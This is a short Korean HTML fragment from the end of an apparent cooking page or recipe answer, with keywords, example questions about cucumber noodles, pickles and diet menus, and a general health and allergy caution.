반찬, 집밥, 요리, 음식, 건강, 식단</p><p data-sourcepos="67:1-67:11"><strong>[질문 예시]</strong></p><ul data-sourcepos="68:1-71:0"> <li data-sourcepos="68:1-68:23">오이지 칼국수 만드는 법을 알려주세요.</li> <li data-sourcepos="69:1-69:20">오이 피클 만드는 법이 궁금해요.</li> <li data-sourcepos="70:1-71:0">오이를 이용한 다이어트 식단을 추천해주세요.</li> </ul><p data-sourcepos="72:1-72:8"><strong>[주의]</strong></p><ul data-sourcepos="73:1-74:28"> <li data-sourcepos="73:1-73:52">위 정보는 일반적인 정보이며, 개인의 건강 상태나 알레르기 등을 고려하여 요리해야 합니다.</li> <li data-sourcepos="74:1-74:28">한 정보는 전문가와 상담하는 것이 좋습니다.</li> </ul></div> </div></div>